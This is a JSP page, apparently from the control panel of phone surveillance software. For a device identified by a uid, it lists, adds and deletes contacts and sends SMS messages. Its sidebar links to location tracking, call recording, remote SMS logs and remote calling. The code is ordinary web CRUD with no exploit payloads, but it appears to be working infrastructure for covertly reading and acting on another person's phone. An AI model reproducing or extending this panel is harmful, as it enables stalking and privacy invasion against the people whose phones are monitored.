<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Simpla Admin</title>
<jsp:include page="css.jsp"></jsp:include>
<jsp:include page="script.jsp"></jsp:include>
<script type="text/javascript">

var path = '<%=request.getContextPath()%>';
function goPage(page) {
	document.getElementById("currentPage").value = page;
	document.getElementById("n_form").submit();
}

function deleteContact(_uid,_id){
	$("<div>삭제하시겠습니까?</div>").dialog({
		title:'확인?',
		modal:true,
		resizable:false,
		draggable:false,
		close : function (event) {
			$(this).dialog("destroy");
		}, 
		buttons : {
			'확인':function (event) {
				$(this).dialog("destroy");
				$.ajax({
					type : "GET",
					url : path + "/deleteContact.htm",
					data : {
						uid : _uid,
						cid : _id
					},
					dataType : "text",
					success : function(result) {
						if (result == "success") {
							reload();
						} else {
							showAlertDialog("삭제에 실패하였습니다!",null);
						}
					},
					error : function() {
						showAlertDialog("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오",null);
					}
				});
			},
			'취소':function (event) {
				$(this).dialog("destroy");
			}
		}
	});
}

function deleteSelectedContact(_uid){
	var checkbox = document.getElementsByName("checkbox");
	var checkedItem = "";
	for ( var i = 0; i < checkbox.length; i++) {
		if(checkbox[i].checked){
			checkedItem+=checkbox[i].value+",";
		}
	}
	if(checkedItem.length<1){
		showAlertDialog("선택하세요!",null);
		return;
	}
	checkedItem = checkedItem.substring(0,checkedItem.length-1);
	$("<div>삭제하시겠습니까?</div>").dialog({
		title:'확인?',
		modal:true,
		resizable:false,
		draggable:false,
		close : function (event) {
			$(this).dialog("destroy");
		}, 
		buttons : {
			'확인':function (event) {
				$(this).dialog("destroy");
				$.ajax({
					type : "GET",
					url : path + "/deleteMultiContact.htm",
					data : {
						uid : _uid,
						phone : checkedItem
					},
					dataType : "text",
					success : function(result) {
						if (result == "success") {
							reload();
						} else {
							showAlertDialog("삭제에 실패하였습니다!",null);
						}
					},
					error : function() {
						showAlertDialog("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오",null);
					}
				});
			},
			'취소':function (event) {
				$(this).dialog("destroy");
			}
		}
	});
}

function reload() {
	document.getElementById("n_form").submit();
}
</script>
</head>
<body>
	<div id="body-wrapper">
		<!-- Wrapper for the radial gradient background -->
		<div id="sidebar">
			<div id="sidebar-wrapper">
				<!-- Sidebar with logo and menu -->
				<h1 id="sidebar-title">
					<a href="#">Simpla Admin</a>
				</h1>
				<!-- Logo (221px wide) -->
				<a href="#"><img id="logo" src="<%=request.getContextPath()%>/images/logo.png" alt="Simpla Admin logo" /></a>
				<!-- Sidebar Profile links -->
				<jsp:include page="info.jsp" />
				<ul id="main-nav">
					<!-- Accordion Menu -->
					<li><a href="#" class="nav-top-item current"> 관리</a>
						<ul>
							<li><a href="<%=request.getContextPath() %>/contactList.htm?uid=${uid}" class="current">전화번호부</a></li>
							<li><a href="<%=request.getContextPath() %>/msgList.htm?uid=${uid}">메세지</a></li>
							<li><a href="<%=request.getContextPath() %>/location.htm?uid=${uid}" >위치추적</a></li>
							<li><a href="<%=request.getContextPath() %>/calllog.htm?uid=${uid}" > 통화녹음</a></li>
							<li><a href="<%=request.getContextPath() %>/remoteSmsList.htm?uid=${uid}" >문자 발송로그</a></li>
							<li><a href="<%=request.getContextPath() %>/remoteCallList.htm?uid=${uid}" >전화하기</a></li>
						</ul></li>
					<li>
				</ul>
			</div>
		</div>
		<!-- End #sidebar -->
		<div id="main-content">
			<!-- Main Content Section with everything -->
			<jsp:include page="noscript.jsp"></jsp:include>
			<div class="clear"></div>
			<!-- End .clear -->
			<div class="content-box">
				<!-- Start Content Box -->
				<div class="content-box-header">
					<h3>전화번호부</h3>
					<div style="float: right;text-align: center;">
						<img onclick="deleteSelectedContact(${uid});" src="<%=request.getContextPath()%>/images/icons/delete.png" class="menu-icon"/>
						<img onclick="showAddContactDialog();" src="<%=request.getContextPath()%>/images/icons/add_contact.png" class="menu-icon"/>
						<img onclick="showSendSmsDialog();" src="<%=request.getContextPath()%>/images/icons/send_message.png" class="menu-icon" style="margin-right: 20px;"/>
					</div>
					<div class="clear"></div>
				</div>
				<!-- End .content-box-header -->
				<div class="content-box-content">
					<div class="tab-content default-tab" id="tab1">
						<table>
							<thead>
								<tr>
									<th><input class="check-all" type="checkbox" /></th>
									<th>순서</th>
									<th>이름</th>
									<th>전화번호</th>
									<th>시간</th>
									<th>삭제</th>
								</tr>
							</thead>
							<tfoot>
								<tr>
									<td colspan="6">
										<form action="<%=request.getContextPath()%>/contactList.htm" method="post" id="n_form">
											<div class="pagination">
												<s:if test="contacts.currentPage<2">
													<a href="javascript:void();" title="처음페지">&laquo; 처음페지</a>
													<a href="javascript:void();" title="이전">&laquo; 이전</a>
												</s:if>
												<s:else>
													<a href="javascript:goPage(1);" title="처음페지">&laquo; 처음페지</a>
													<a href="javascript:goPage(${contacts.currentPage}-1);" title="이전">&laquo; 이전</a>
												</s:else>
												[<b>${contacts.currentPage}</b>페지|총<b>${contacts.pageCount}</b>페지]
												<s:if test="contacts.currentPage>=contacts.pageCount">
													<a href="javascript:void();" title="다음">다음 &raquo;</a>
													<a href="javascript:void();" title="마지막페지">마지막페지&raquo;</a>
												</s:if>
												<s:else>
													<a href="javascript:goPage(${contacts.currentPage+1});" title="다음">다음 &raquo;</a>
													<a href="javascript:goPage(${contacts.pageCount})" title="마지막페지">마지막페지 &raquo;</a>
												</s:else>
											</div>
											<!-- End .pagination -->
											<div class="clear"></div>
											<input type="hidden" name="uid" value="${uid}" id="uid"/> <input type="hidden" value="${contacts.currentPage}" name="cPage"
												id="currentPage" />
										</form>
									</td>
								</tr>
							</tfoot>
							<tbody>
								<s:iterator value="contacts.datas" id="item" status="index">
									<tr>
										<td><input type="checkbox" name="checkbox" value="<s:property value="#item.phone"/>"/></td>
										<td><s:property value="#index.index+1"/></td>
										<td><s:property value="#item.name"/></td>
										<td><s:property value="#item.phone"/></td>
										<td><s:date name="#item.addTime" nice="false" format="yyyy-MM-dd"/></td>
										<td><img alt="delete" style="cursor:pointer;" src="<%=request.getContextPath()%>/images/cross.png" onclick="deleteContact(${uid},'<s:property value="#item.id"/>')"></td>
									</tr>
								</s:iterator>
							</tbody>
						</table>
					</div>
					<!-- End #tab1 -->
				</div>
				<!-- End .content-box-content -->
			</div>
			<div class="clear"></div>
			<jsp:include page="footer.jsp"></jsp:include>
			<!-- End #footer -->
		</div>
		<!-- End #main-content -->
	</div>
	<div id="add_contact_dialog" style="display: none;">
		<form action="#">
			이름：<input class="text-input small-input" type="text" id="name" style="width: 90% !important;"/>
			<p/>
			전화번호：<input class="text-input small-input" type="text" id="phone" style="width: 90% !important;"/>
		</form>
	</div>
	
	<div id="send_sms_dialog" style="display: none;">
		<form action="">
			전화번호：
			<textarea class="textarea" cols="79" rows="3" id="phones"></textarea>
			<p></p>
			메세지 내용：
			<textarea class="textarea" cols="79" rows="2" id="content"></textarea>
		</form>
	</div>
	<script type="text/javascript">
	var add_contact_dialog = $("#add_contact_dialog").dialog( {
		bgiframe :false,
		resizable :false,
		autoOpen :false,
		modal :true,
		draggable:false,
		title:"번호추가",
		overlay : {
			backgroundColor :'#000',
			opacity :0.5
		},
		height : 220,
		width : 300,
		buttons : {
			"확인":function(){
				var _phone = $("#phone").val();
				if(_phone.length<1){
					alert("전화번호 입력");
					return;
				}
				var _name = $("#name").val();
				var _uid = $("#uid").val();
				var path='<%=request.getContextPath()%>';
				var _requestUrl = path +"/addContact.htm";
				$.ajax({
					type: "POST",
		            url: _requestUrl,
		            data:{
		            	name:_name,
		            	phone:_phone,
		            	uid:_uid
		            },
		            dataType: "text",
		            success: function(result){
		            	 if(result=="success"){
		            		 //add_contact_dialog.dialog('close');
		            		 goPage(1);
		                 	//window.location.reload();
		                 	document.getElementById("n_form").submit();
		                 }else{
		              	   alert("삭제에 실패하였습니다!");
		                 }
		            },
		            error: function(){
		              alert("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오");
		            }
				});
			},
			"취소":function(){
				add_contact_dialog.dialog('close');
			}
		}
	});

	function showAddContactDialog(){
		add_contact_dialog.dialog('open');
	}
	
	var send_sms_dialog = $("#send_sms_dialog").dialog( {
		bgiframe :false,
		resizable :false,
		autoOpen :false,
		modal :true,
		draggable:false,
		title:"발송문자",
		overlay : {
			backgroundColor :'#000',
			opacity :0.5
		},
		height : 260,
		width : 400,
		buttons : {
			"확인":function(){
				var _content = $("#content").val();
				if(_content.length<1){
					alert("메세지 내용");
					return;
				}
				var checkbox = document.getElementsByName("checkbox");
				var checkedItem = "";
				for ( var i = 0; i < checkbox.length; i++) {
					if(checkbox[i].checked){
						checkedItem+=checkbox[i].value+",";
					}
				}
				var _input_phone = $("#phones").val();
				if(_input_phone.length<1 && checkedItem == ""){
					alert("선택하세요");
					return;
				}
				_input_phone = _input_phone.split("\n").join(",");
				var _phones = checkedItem + _input_phone;
				var _uid = $("#uid").val();
				var path='<%=request.getContextPath()%>';
				var _requestUrl = path +"/sendSms.htm";
				$.ajax({
					type: "POST",
		            url: _requestUrl,
		            data:{
		            	content:_content,
		            	phoneStr:_phones,
		            	uid:_uid
		            },
		            dataType: "text",
		            success: function(result){
		            	 if(result=="success"){
		            		goPage(1);
		                 	//document.getElementById("n_form").submit();
		                 }else{
		              	   alert("삭제에 실패하였습니다!");
		                 }
		            },
		            error: function(){
		              alert("네트워크원인으로 인하여 지연되고있습니다.잠시후 다시 시도해주십시오");
		            }
				});
			},
			"취소":function(){
				send_sms_dialog.dialog('close');
			}
		}
	});

	function showSendSmsDialog(){
		send_sms_dialog.dialog('open');
	}
	
	</script>
</body>
<!-- Download From www.exet.tk-->
</html>
